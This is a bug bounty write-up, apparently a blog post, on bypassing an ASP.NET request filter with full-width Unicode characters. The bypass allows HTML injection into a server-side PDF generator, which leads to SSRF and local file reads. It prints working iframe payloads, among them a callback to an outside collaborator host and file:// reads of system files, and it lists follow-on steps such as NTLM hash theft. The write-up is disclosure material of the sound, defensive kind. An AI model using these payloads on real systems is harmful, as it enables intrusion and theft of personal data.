Introduction
When I’m on a bug bounty program, I prefer « big » applications that offer a wide range of features, different rendering interfaces and different roles. Here, after spending a good amount of time browsing the application and noting what it offered, I noted an interesting option to export the profile to PDF after choosing to apply on one of the platform’s options.
Give me PDF
If you have server-side PDF generation, based on inputs you control, then there is almost always a vulnerability. See Ben Sadeghipour‘s excellent 2020 presentation : OWNING THE CLOUT THROUGH SSRF AND PDF GENERATORS.
In my case, I directly tested some basic attributes on parts of my profile like:
"><b>INJECTED
and see how the rendering was done on the PDF site.
Unfortunately, I came across a well-known error when hunting on applications written in ASP.net : security filters can be present, and block us in the event of dangerous input.
For every potentially dangerous input, I am blocked and the server returns a 500. A simple
"><ABCD
or
foo<xz>bar
triggers the filter and does not allow me to go any further. But, a :
<">foo_bar
will pass without error, making me confirm that it is indeed a security filter which generates the error.
After doing some testing and payloads combination to bypass this filter, I was stuck.
Security filter bypass
I finally remembered a note I had (thank goodness I always take notes!) and came across a technique I had already used in an LHE two years ago : full-width character encoding !
For those unfamiliar with this technique, it involves replacing standard ASCII characters (e.g. < > ‘) with their full-width Unicode equivalents (< becomes <, > becomes > etc). See Halfwidth and Fullwidth Forms (Unicode block).
Some examples in real conditions :
- https://hackerone.com/reports/639684
- https://kinako-mochimochi.hatenablog.com/entry/2022/05/01/073316#Step-3-Use-full-width-parentheses-to-bypass-filter
To summarize, a standard payload:
"><b>INJECTED
Once encoded in full-width, it will become :
"><b>INJECTED
The idea behind this encoding is to verify two things:
– Confirm that we can bypass the ASP.net filter with this
– Fingers crossed that the server-side parser normalizes our full-width character to a standard character (reverse : > becomes >)
After one try…
BINGO !
Our following payload bypassed the filter, and was normalized during parsing :
SECURITY T"><b>POC-REFLECTED</b>
This is a very, very, very good sign !
Proof-of-concept
Note: the payloads below were not full-width encoded to make the article more readable, but they were during the bug exploitation
I immediately tested a callback on my server via an iframe :
"><iframe src="https://my-burp-collaborator></iframe>
I have a HIT, and a user-agent (old Chrome): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
I then tried to read local files :
"><iframe src="file://C:/Windows/System32/drivers/etc/hosts</iframe>
And to list the contents of the server:
"><iframe src="file://C:/</iframe>
The PDF rendering was not very readable, I had to rework the frame to get everything I wanted :
"><iframe src="file://C:/Windows/System32/drivers/etc/hosts" style="border:0px #ffffff none;" name="myiFrame" scrolling="no" frameborder="1" marginheight="0px" marginwidth="0px" height="8000px" width="1000px" allowfullscreen></iframe>
Finally, after a lot of work (over 100 PDFs generated), I sent the report and scored it critical with the following information in my hands :
- Enumeration of application directories and recovery of configuration files containing harcoded credentials, API access via tokens, etc
- Access and enumeration of network drives, including an H: drive containing a PDF copy of all users data (ID cards, licenses, passports, medical documents etc)
- Access to internal network shares
- NTLMv2 hash stealing using Responder
A few days later, the report was validated, paid and with the maximum bounty.
Additional notes
A few notes on this SSRF and other possible post-exploitation actions if it had been requested by the program :
- RCE by retrieving the MachineKey, but I was unable to retrieve this value despite accessing the application’s various web.config files (I haven’t explored all the directories but maybe this key is elsewhere/in environment variables).
- Attempting to exploit headless Chrome : an old version from 2018, exploits are undoubtedly possible.
- Metadata and Cloud environment: from what I saw, the machine was a non-cloud VM (bare-metal?) and therefore no access to traditional metadata like AWS. However, I saw links between the application and an Azure environment and network paths : exploring this avenue would certainly have opened other doors.
Resources
Additional resources in addition to the links already present in this article :